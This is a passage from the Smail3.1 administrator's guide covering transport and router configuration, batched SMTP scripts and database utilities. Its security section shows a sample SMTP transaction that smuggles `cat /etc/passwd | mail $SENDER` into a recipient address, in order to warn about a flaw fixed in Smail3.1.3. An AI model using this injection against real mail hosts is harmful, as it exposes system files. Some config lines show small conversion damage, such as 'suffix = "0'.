        file = paths,                   # sorted file containing path info
        proto = bsearch,                # use a binary search
        optional,                       # ignore if the file does not exist
        domain = uucp                   # strip ending ".uucp" before searching

# uucp_neighbors – match neighbors accessible over UUCP
uucp_neighbors:
        driver = uuname,                # use a program which returns neighbors
        transport = uux;

        cmd = /usr/bin/uuname,          # specifically, use the uuname program
        domain = uucp
```

```
# smart_host – a partially specified smarthost director
#
# If the config file attribute smart_path is defined as a path from
# the local host to a remote host, then hostnames not matched
# otherwise will be sent off to the stated remote host.  The config
# file attribute smart_transport can be used to specify a different
# transport.
#
# If the smart_path attribute is not defined, this router is ignored.
smart_host:
        driver = smarthost,              # special-case driver
        transport = uux                  # by default deliver over UUCP
```

3.2.3. The Preloaded Transport Configuration

If a *transports* configuration file is not found at run-time, then the default pre-loaded configuration is used. The default transport configuration supports the following transports:

local –
: Deliver to users on the local machine. Mailbox files for local users are generally found under the directory */usr/spool/mail* or under */usr/mail*, and have the same name as the corresponding user. To support the generally available user interfaces, such as *Mail*(1) and *mailx*(1), certain transformations are performed on the message. Namely, a line containing the return address of the sender and a time stamp is prepended to the message, a blank line is appended at the end, and any line beginning with the word "From" will have the character '>' prepended to it. An example of one of the lines prepended to the message is:

    From amdahl!futatsu!tron Mon Apr 18 16:11:13 1988

  In addition, a "Return-Path:" header field is inserted which duplicates the return address of the sender.

pipe – Local addresses which begin with a vertical bar character ('|') are delivered using this transport (the transport name **pipe** is reserved for this purpose). The **pipe** transport executes a shell command by calling the program */bin/sh*. The message is passed on the standard input to this command. The shell command is formed by removing the vertical bar character from the beginning of the address. The alias or forward address which produced the pipe command address is stored in the environment as "$ADDR".

file – Local addresses which begin with a slash ('/') or a tilde character ('~') are delivered using this transport (the transport name **file** is reserved for this purpose). The **file** transport appends to a file identified by the local address string. If the local address string begins with a slash, then it identifies an absolute path. If the string begins with "~*username/*", then this substring is replaced by the home directory of the given user. If the string begins simply with "~/", then this substring will be replaced with any home directory associated with the address; e.g., a file address in a user's *~/.forward* file will be associated with that user's home directory.

uux – The **uux** transport is used as the normal form of delivery over UUCP. This transport will deliver up to five addresses at a time by calling the program *uux*(1) to deliver mail to the program *rmail*(1) on a remote system. The request is queued, and actual delivery is not attempted immediately. To force an immediate attempt to contact the remote site, use the **demand** transport.

demand –
: The **demand** transport is used to deliver up to five addresses at a time by calling the program *uux*(1) to deliver to a remote *rmail*(1) program. In contrast to **uux** this transport forces an immediate attempt to contact the remote site.

uusmtp –
: The **uusmtp** transport is used to deliver using Batched SMTP over UUCP. It will deliver to an

unlimited number of addresses by calling the program *uux*(1) to deliver to a remote *rsmtp*(1) program. The request is queued, and actual delivery is not attempted immediately.

demand_uusmtp –
: This transport is used to deliver to an unlimited number of addresses by calling the program *uux*(1) to deliver to a remote *rsmtp*(1) program. This transport forces an immediate attempt to contact the remote site.

smtp –
: For sites that have BSD networking facilities, this transport is available, which performs delivery by opening a TCP/IP virtual circuit to a remote host and engaging in an interactive SMTP dialogue to perform delivery.

The order of entries in the transport file is not important, unless transport entries with duplicate names exist. In this case, the transport earlier in the transport file is always used. A transport file which is equivalent to the preloaded configuration file is:

```
# local − deliver mail to local users
#
# By default, smail will append directly to user mailbox files.
local:  driver = appendfile,                # append message to a file
        return_path,                        # include a Return-Path: field
        local,                              # use local forms for delivery
        from,                               # supply a From_ envelope line
        unix_from_hack;                     # insert > before From in body

        file = /usr/mail/${lc:user},# use this location for System V
        group = mail,                       # group to own file for System V
        mode = 0660,                        # under System V, group mail can access
        suffix = "0                         # append an extra newline

# pipe − deliver mail to shell commands
#
# This is used implicitly when smail encounters addresses which begin with
# a vertical bar character, such as "|/usr/lib/news/recnews talk.bizarre".
# The vertical bar is removed from the address before being given to the
# transport.
pipe:   driver = pipe,                      # pipe message to another program
        return_path, local, from, unix_from_hack;

        cmd = "/bin/sh −c $user",# send address to the Bourne Shell
        parent_env,                         # environment info from parent addr
        pipe_as_user,                       # use user-id associated with address
        umask = 0022,                       # umask for child process
        −log_output                         # do not log stdout/stderr
```

```
# file − deliver mail to files
#
# This is used implicitly when smail encounters addresses which begin with
# a slash or twiddle character, such as "/usr/info/list_messages" or
# perhaps "~/Mail/inbox".
file:   driver = appendfile,
        return_path, local, from, unix_from_hack;

        file = $user,                # file is taken from address
        append_as_user,              # use user-id associated with address
        expand_user,                 # expand ~ and $ within address
        suffix = "0,
        mode = 0644

# uux − deliver to the rmail program on a remote UUCP site
uux:    driver = pipe,
        uucp,                        # use UUCP-style addressing forms
        from,                        # supply a From_ envelope line
        max_addrs = 5,               # at most 5 addresses per invocation
        max_chars = 200;             # at most 200 chars of addresses

        # the −r flag prevents immediate delivery, parentheses around the
        # $user variable prevent special interpretation by uux.
        cmd = "/usr/bin/uux − −r $host!rmail $(($user)$)",
        umask = 0022,
        pipe_as_sender

# demand − deliver to a remote rmail program, polling on demand
demand: driver = pipe,
        uucp, from, max_addrs = 5, max_chars = 200;

        # with no −r flag, try to contact remote site immediately
        cmd = "/usr/bin/uux − $host!rmail $(($user)$)",
        umask = 0022, pipe_as_sender

# uusmtp − deliver to the rsmtp program on a remote UUCP site
#
# The rsmtp program is assumed to to take batched SMTP requests.
uusmtp: driver = pipe,
        bsmtp,                       # send batched SMTP commands
        inet,                        # use internet forms for addressing
        −max_addrs,                  # there is no limit on the number or
        −max_chars;                  #  total size of recipient addresses.

        # supply −r to prevent immediate delivery, the recipient addresses
        # are stored in the data sent to the standard input of rsmtp.
        cmd = "/usr/bin/uux − −r $host!rsmtp",
        umask = 0022, pipe_as_sender

# demand_uusmtp − deliver to a remote rsmtp program, polling on demand
demand_uusmtp:
        driver = pipe, inet,
        bsmtp, −max_addrs, −max_chars;

        # with no −r flag, try to contact remote site immediately
        cmd = "/usr/bin/uux − $host!rsmtp",
        umask = 0022, pipe_as_sender
```

```
# smtp − deliver using SMTP over TCP/IP
#
# Connect to a remote host using TCP/IP and initiate an SMTP conversation
# to deliver the message.  The smtp transport is included only if BSD
# networking exists.
#
# NOTE:
#       This is hardly optimal, a backend should exist which can handle
#       multiple messages per connection.
#
# ALSO:
#       It may be necessary to restrict max_addrs to 100, as this is the
#       lower limit SMTP requires an implementation to handle for one
#       message.
smtp:   driver = smtp,
        −max_addrs,
        −max_chars, inet
```

4. Examples of Smail Run-time Configurations

The following sections give examples of run-time configurations that can be used to extend smail in a variety of useful ways. In general the examples do not contain complete configuration files and, as such, they should be merged in to existing configuration files where appropriate. When merging in new configuration file entries, keep in mind that order is important in the director and router files.

Many of the examples shown here, along with other useful examples, can be found under the **Smail3.1** source directory *samples*.

4.1. Using Method Files

At the present time, **method** files (described in *smail*(5)) can only be used in run-time configuration files. Method files can be used to define the transport to be used on a per-host basis. An example of a method file is:

```
# select the transport on a per-host basis

# UUCP hosts to which mail should be delivered immediately:
sun       demand              # our internet gateway
muts12    demand              # internal machine, dedicated link

# Hosts to which mail should be delivered immediately with
# a non-interactive SMTP protocol over UUCP:
busboy    demand_uusmtp       # gateway to sun network

# Hosts to which mail should be queued with a non-interactive
# SMTP protocol over UUCP:
namei     uusmtp              # experimental Smail3.1 node

# For other hosts, use normal (queued) uucp mail:
*         uux                 # all other hosts
```

Many of the standard preloaded router entries could be modified to use this method file to select a transport, rather than allowing only one transport per router. To make this change, copy the router file corresponding to the pre-loaded configuration, found in the Smail source file *samples/generic/routers*, to the smail LIB_DIR directory, normally */usr/lib/smail*. Remove the generic attribute **transport** and add a generic attribute **method** which points to the uucp methods file. As an example, let's change the **paths** router, described in the section *The Preloaded Router Configuration*, and modify it to use the method file above. After removing the **transport** attribute and adding the **method** attribute, the router file entry becomes:

```
# paths - route using a paths file, like that produced by the
# pathalias program
paths:  driver = pathalias,  # general-use paths router
        method = uucp;           # use "uucp" method file

        file = paths,        # sorted file containing path info
        proto = bsearch,     # use a binary search
        optional,            # ignore if the file does not exist
        domain = uucp            # strip ending ".uucp" before searching
```

Assuming that the values for the *config* file variables **method_dir** and **smail_lib_dir** are ‘‘methods’’ and ‘‘/usr/lib/smail’’ respectively, the above example will use a method file stored in the file */usr/lib/smail/methods/uucp* .

Method files become extremely useful when extending smail to handle new situations.

4.2. Using Batched SMTP Effectively

The transports **uusmtp** and **demand_uusmtp** will allow you to gain the versatility of the SMTP format, such as support for arbitrary addresses, including addresses containing quoted characters or white space, and support for a large or unlimited number of recipient addresses per transaction. These capabilities are gained by putting an envelope of commands around the mail message and shipping the commands and the message in one file. As an example, a mail message to be delivered to ‘‘cathy@foobar.uucp’’ might be sent as:

```
HELO busboy.uts.amdahl.com
MAIL FROM: <@busboy.uts.amdahl.com:tron@futatsu.uts.amdahl.com>
RCPT TO: <cathy@foobar.uucp>
DATA
Received: by busboy.uts.amdahl.com id m0d98az-000gtZC;
        Mon Jun 27 18:45 PDT 1988
Received: by futatsu.uts.amdahl.com id m0d98ax-0jaZiiC;
        Mon Jun 27 18:43 PDT 1988
From: tron@futatsu.uts.amdahl.com (Ronald S. Karr)
To: cathy@foobar.uucp
Subject: Hmmm.  It’s Email!

This is a test of the Emergency Email System.  It is only a test.  For this and the next several lines
we will be conducting a test of the networks between my machine and your machine.  This test is
being held without the specific knowledge of the network organizers on these networks, though
with their cooperation.  If this had not been a test, you would have been informed of a restaurant at
which you should show up immediately to partake of foodstuffs in the company of at least one
other person.
.
QUIT
```

The line beginning with ‘‘HELO’’ identifies the sending host, and the line beginning with ‘‘MAIL FROM:’’ identifies a return-path to the sender of the mail message. Any number of recipients may be specified by giving multiple lines beginning with ‘‘RCPT TO:’’. The ‘‘DATA’’ command signals that the actual message follows. The message continues until a line containing only a signal dot character. Finally the command ‘‘QUIT’’ signals the end of the complete transaction.

4.2.1. Batching Multiple Messages in One SMTP Transaction

The SMTP format allows multiple messages to be specified in one transaction by repeating everything between the ‘‘HELO’’ and the ‘‘QUIT’’ commands (not including those commands themselves) to specify the envelope and contents of more messages.

By gathering multiple messages into one SMTP transaction, transport of mail over UUCP can be made more efficient. This reduces overhead in the UUCP protocol as well as the number of mailer invocations required for mail delivery on the remote side. Unfortunately, **Smail3.1** processes only one message at a time, so it cannot, by itself, create these multiple-message transaction files.

However, smail can accumulate messages into a file or into a directory, using the **appendfile** transport driver. This allows a shell script or C program outside of smail to create batch jobs to be sent to the uux program. For ease of description, we will do this as a shell script.

It is somewhat difficult in a shell script to perform the file locking primatives required to support the accumulation of messages into one file, so we will accumulate messages into a directory, one file per message, and concatenate these files together at intervals.

First, we need to write a transport file entry that can handle our needs. It should write files into a directory whose name is based upon the name of the remote host to which mail should be delivered. These files should contain an SMTP command envelope containing all commands necessary for delivery except for the HELO and QUIT commands. The following transport file entry will accomplish this:

```
# accumulate messages into a directory on a per-host basis
batch_smtp:
        # the appendfile driver can also accumulate in directories
        driver=appendfile,
        hbsmtp;                 # half-baked BSMTP, no HELO or QUIT

        # files whose names begin with 'q' will be placed here:
        dir=/usr/spool/smail/outq/${lc:host},
        user=cronjobs,          # files will be owned by this user
        mode=0600,              # and unreadable by other users
```

When writing files into a directory, the **appendfile** driver first writes the file to a temporary file, with a name beginning with ‘‘temp.’’ and then renames the file to a name beginning with the letter ‘q’. Thus, a shell script can assume that any file whose name begins with the letter ‘q’ is in a consistent state. The shell script to perform the actual delivery, called *batchsmtp*, is then:

```
#!/bin/sh
# deliver messages accumulated into subdirectories of the
# outq spool directory.  Subdirectory names are based on
# the actual hostnames involved:

OUTQ=/usr/spool/smail/outq
UUX=/usr/bin/uux
LOCALHOST=busboy.uts.amdahl.com

cd $OUTQ
# loop through all of the subdirectories
for i in *; do (
        cd $i
        list=q*                 # get the list of message files
        if [ "$list" = "*" ]; then
                # no messages were found
                exit 0 # leave sub-shell
        fi
        # send all of the files, adding HELO and QUIT commands
        (echo "HELO $LOCALHOST"
         cat $list
         echo QUIT) | $UUX - $i!rsmtp
        rm $list
); done

exit 0
```

The script above should be run from cron periodically, by either of the users *cronjob* or *root*. The execution interval should be long enough that there will not be any chance that two instances of this script will run concurrently. Alternately, the script could be changed to loop indefinitely, performing the above operations and then sleeping for some amount of time, say half an hour. This would eliminate any potential problems with accidental concurrency.

It is also possible to send the files over in a compressed format. This can substantially reduce the telephone costs incurred in the transmission of data over modems, in exchange for greater usage of CPU time on both sides. Compression can be done by creating a shell script on the remote end, called *rcsmtp* (for *Read Compressed SMTP*), which contains the following:

```
#!/bin/sh
# Receive compressed batches of SMTP commands and send them
# to smail.

# the following line should be changed to reflect the
# organization of your system.
/usr/local/bin/compress -d | /bin/rsmtp
exit 0
```

Then, the *batchsmtp* shell script should be modified, to form the shell script *cbsmtp* , so that the pipeline invoking the uux command is:

```
# compress all of the files, adding HELO and QUIT commands
(echo "HELO $LOCALHOST"
 cat $list
 echo QUIT) | $COMPRESS | $UUX - $i!rsmtp
```

where the shell variable COMPRESS should be the path to the compress program on your system. If your site does not have compress, it can be obtained from a number of sources, including the archives on the host **uunet.uu.net**.

4.3. Using the Queryprogram Router Driver

The **queryprogram** router driver is handy for performing routing operations for which none of the other available drivers are suitable. This calls upon an external program to perform routing operations.

Because the **queryprogram** driver performs a fork/exec operation for each new hostname, it should be used only for prototyping wherever possible. Writing a new driver which handles your needs is much more efficient. However, if you have a low amount of mail traffic, or if you have a dedicated machine and do not mind the overhead, then this driver may be reasonable. To help out somewhat, the driver does cache responses so that a list of routing requests to the same host will result in only one fork/exec.

A simple case of the use of the **queryprogram** driver comes from a need expressed by one of the administrators participating in the smail alpha testing program. His site has a very large number of UUCP neighbors, and the overhead of using **uuname** to obtain the contents of the entire *Systems* file was simply too great. He wrote a command **uuinfo** to query a DBM database formed from their *Systems* file. If this command is invoked with the flag **−q** and a sitename, then it will return an exit status of 0 if the site is a neighbor and 1 otherwise. A simple router to use this program is:

```
# use uuinfo to match neighboring hosts:
use_query:
        driver = queryprogram,              # query a program for route info
        transport = uux;                    # use this as a default

        cmd = "/usr/local/bin/uuinfo -q ${lc:host}",
        domain = uucp
```

In this case, only the status of neighbor versus non-neighbor is obtained. It is also possible to call a program that returns a path and a transport. A simple case, which would be handled more efficiently with a paths database and a method file uses the following shell script, *query.sh* , to perform routing:

```
#!/bin/sh
# The hostname is passed as the first argument, write a path and
# transport for each host that we match.  Alternately, no transport is
# output if the default is sufficient.
case "$1" in

\[*)    # look for internet addresses in square brackets
        inet=‘echo "$1" | sed -n ’s/^\[\([0-9.]*\)\]$/[\1]/p’‘
        if [ "$inet" ]; then
                echo $inet smtp
        else
                exit 1
        fi;;
foo)    echo foo uusmtp;;
bar)    echo foo!bar uusmtp;;
curds)echo curds;;
whey)echo curds!whey;;
*)      echo foo!$1 uusmtp;; # send mail for unknown hosts to foo

esac

exit 0
```

This shell script outputs a path, with hostnames separated by the character ‘!’, and may also write out a transport, separated from the path by space and tab characters. It can match literal internet addresses, stored in square brackets, and forwards mail for unknown hosts to the host ‘‘foo’’. A router file entry which can make use of this shell script is:

```
# use query.sh to match hosts
use_query:
        driver = queryprogram,          # query a program for route info
        transport = uux;                # use this as a default

        cmd = "/bin/sh $smail_lib_dir/query.sh ${lc:host}",
        domain = uucp, read_transport, read_path
```

This entry assumes that the *query.sh* script is stored under the same directory as smail utilities and run-time configuration files, normally */usr/lib/smail*. The shell script is executed as an unprivileged user.

The above example can be used to point out something very important: security is difficult to maintain in an environment where shell scripts are executed as a result of requests from remote machines. As it currently stands, the example above can be used by a remote site to execute an arbitrary shell command on the local host, for sites running versions of Smail previous to **Smail3.1.3**. To do this, a remote user could send the following batched SMTP transaction:

```
HELO foo@bar
MAIL FROM:<foo@bar>
RPCT TO:<dummy pipe!"‘cat /etc/passwd | mail $SENDER‘">
DATA
Send me the passwd file.
.
QUIT
```

The problem here is that versions of smail previous to **Smail3.1.3** allow whitespaces in hostnames. Thus, for the recipient address above, the *query.sh* shell script would have been invoked with a host of ‘‘dummy pipe’’ which would have caused the shell script to return the line:

```
foo!dummy pipe uusmtp
```

which would then have caused the **pipe** transport to be invoked to run the shell command:

dummy!"‘cat /etc/passwd | mail $SENDER‘"

The command in backquotes here would then cause your passwd file to be returned to the ‘‘foo@bar’’. The version of this script in the samples directory takes care of this problem by explicitly checking for whitespace in the hostname. Versions of Smail starting with Smail3.1.3 explicitly allow only alphanumeric characters, and a small set of special characters (dot (‘.’), dash (‘-’), underscore (‘_’), plus (‘+’) and equal (‘=’)), in hostnames. In addition, hostnames are prohibited from beginning with a dash character. It should be noted that any characters are still allowed if the hostname begins with a left bracket.

5. Basics of Using the Smail Utilities

There are a fairly large number of utility programs that are included in the **Smail3.1** release. Most of these utilities are useful in creating, maintaining and displaying databases which can be used by smail for directing and routing. These database manipulation tools are layered such that a small set of low-level utilities are available for creating databases in various formats, such as sorted files or DBM files (using the *dbm*(3X) library). In addition, the **mkline** and **pathalias** tools can be used in formatting raw alias and path data for use by the database creation tools. Built on top of these lower level tools are configuration-driven tools such as **mkaliases** and **mkpath**, which handle things at a higher level.

Most of these smail utilities are installed under the smail library directory, which is normally */usr/lib/smail*.

5.1. Building Simple Databases

Sorted databases, and *dbm*-based databases, can be used by smail directors based on the aliasfile driver or by routers based on the pathalias driver. The first command to know about when creating these databases is **mkline**. This command takes an alias file or path file as input, strips comments and unnecessary white-space, and joins continuation lines. For example, given the alias file:

```
# Sample alias file
Postmaster:
        tron@futatsu                    # Ronald S. Karr
        chongo@eek                      # Landon Noll
uucp:   gam@woof                        # Gordon Moffett
```

the **mkline** command would produce, on its standard output:

```
Postmaster:tron@futatsu chongo@eek
uucp:gam@woof
```

By removing comments and continuation lines, programs that create databases can read single line records.

Sorted databases can be created using either the **sort** command or the smail **mksort** utility. **Mksort** does not have any line length restrictions, and can thus be used for aliases and paths containing arbitrarily large records. It does require the ability to read all of its input files into memory. In addition, some versions of the **sort** command are reported to have a bug related to the use of the **–f** flag, for performing case-independent sorting. To creat a sorted version of the alias file listed above, use the following command:

mkline *aliasfile* | mksort –f > *aliasfile*.sort

Here, *aliasfile* is the pathname containing the file of interest. The **–f** flag performs a sort in a case-independent manner, as required for the smail **bsearch** file lookup method. This command line could also be used to create a sorted paths file. Smaller systems may wish to use **sort** to avoid high memory usage, or errors due to running out of memory. Path files can be quite large.

DBM databases can be created using the **mkdbm** utility. To create a database can be used by the smail **dbm** file lookup method, for aliasfile directors and pathalias routers, use a command such as:

mkline *file* | mkdbm –f -o *name*

where *file* is the source text for the database and *name* is the name for the DBM database. This will create two files, *name* .pag and *name* .dir containing the actual data. The **–f** flag causes the keys to be converted to lower case before being stored in the database.

Rather than require that you enter a complex command every time you have changed the primary *aliases* file, the **mkaliases** utility exists to do this for you. It uses the configuration defined in the EDITME file to determine how your aliases file is to be built, and where it is to be found, and builds it for you. For example, if your alias database is stored as a DBM file with a name of */usr/lib/aliases*, then the command

```
mkaliases
```

will execute the shell command:

```
mkline /usr/lib/aliases | mkdbm -f -v -o /usr/lib/aliases
```

5.2. Building Path Databases

Quite often, the building of path databases is more complex than taking one file and running it through a mkline|mksort or a mkline|mkdbm pipeline. Map data is often used, which must be processed by the **pathalias** program to produce paths. As well, this map data can come from a variety of sources, both from map data published monthly in the USENET newsgroup **comp.mail.maps** and from private sources, such as maps of local area networks, or a private map entry for the local host.

The **mkpath** utility is used to organize the path building process. It takes a configuration file, describing where map files can be found, along with directives controlling other data, and feeds all of this to pathalias. It produces paths on the standard output.

An example of a configuration file for mkpath is the following file, *world.conf*:

```
# get the usenet world maps
cd      /usr/spool/uumaps
safemap d.*
safemap u.*

# merge in the new maps
cd      /usr/lib/smail/maps
safemap newmap/*.map

# merge in our external map
delete  `uuname -l`
map     world.map private.map tweak.map
```

The configuration file above takes map files beginning with *d.* and *u.* from the directory */usr/spool/uumaps*, and map files under */usr/lib/smail/maps/newmap*. These map files are sent as input to pathalias, the name of the local host is deleted from the connectivity information that pathalias has collected, and then the files *world.map*, *private.map* and *tweak.map* are sent to pathalias. The reason for deleting the local host connectivity information is that links from the local host should not be determined based on information in the maps published by other sites. After processing all of this, a sorted list of path file entries is written to the standard output. The above configuration file could be used to create a sorted paths file using the command:

```
mkpath world.conf > world.path
```

A complete set of examples is distributed with smail in the source directory *samples/amdahl/maps*.

5.3. Storing and Displaying Information about Hosts

The **uuwho** command can be used by users or site administrators to get a listing of the map entry for a known site. It makes use of a database which is formed by the **mkuuwho** command. Mkuuwho takes a mkpath configuration file and produces a database which associates each site name with the location of the map entry for that site. The mkpath configuration file is used only for determining where the map files are to be found.

With the configuration file used above as an example for **mkpath**, the following command can be used to create an accompanying uuwho database:

```
mkuuwho -u uuwho world.conf
```

This will create a DBM database, in the files *uuwho.pag* and *uuwho.dir*. After the database is created, the command:

```
uuwho foobar
```

could be used to display a map entry such as:

```
System name:     foobar
Organization:    Foo Bar, Inc.
System type:     pdp 11/45, v6 modified
Contact person:  Joe Stud, III
Email Address:   foobar!stud3
Telephone:       +1 605 555 2175
Postal Address:  Foo Bar, Inc., Wall SD 57790
Long/Lat:        44 00 43 N / 102 19 59 W
News links:      namei glotz hoptoad kgbvax kremvax
#
#                upstream sites
foobar   glotz(HOURLY+LOW), namei(HOURLY+HIGH)
#
#        downstream sites
foobar   kgbvax(HOURLY*4), kremvax(HOURLY*4)
#
#        our alt.drugs feed
foobar   hoptoad(DAILY)
```

5.4. Extracting Maps From USENET

The **getmap** utility can be used to extract map entries from the maps published in the USENET newsgroup **comp.mail.maps**. To use this utility with netnews version 2.11, for automated map extraction, first put the following line into your news *sys* file:

```
maps:comp.mail.maps,world:F:/usr/spool/uumaps/work/batch
```

This line will cause netnews to put a line in */usr/spool/uumaps/work/batch* every time an article is posted to the **comp.mail.maps** newsgroup. This line contains the pathname to the article file.

Periodically, the **getmap** utility can be executed to process the *batch* file, extracting any map data that has been received. Getmap should be executed from cron under a user and group that can write to the map directory, */usr/spool/uumaps*. It will mail any errors to the address **postmaster**. The period of execution should preclude the loss of any map data as a result of a articles being expired, but does not necessarily need to be daily.

5.5. Smail Cleanup Utilities

As discussed in a previous section, the utilities **checkerr** and **savelog** exist to clean up after smail. The **checkerr** utility checks for processing errors, sending errors to the mail administrator whenever they are found. The **savelog** utility can be used to perform log truncation and compression, so that the filesystem containing the smail logfile does not eventually fill up. Both of these utilities should be executed on a daily basis from cron.

The **getmap** utility also keeps a log of its activities, in the file */usr/spool/uumaps/work/getmap.log*. Sites that use this utility to extract maps from USENET should use the **savelog** utility to truncate and compress this log as well. However, this should not grow very quickly, so a running the necessary savelog command on a monthly basis is reasonable, particularly since this is the period over which map data is published.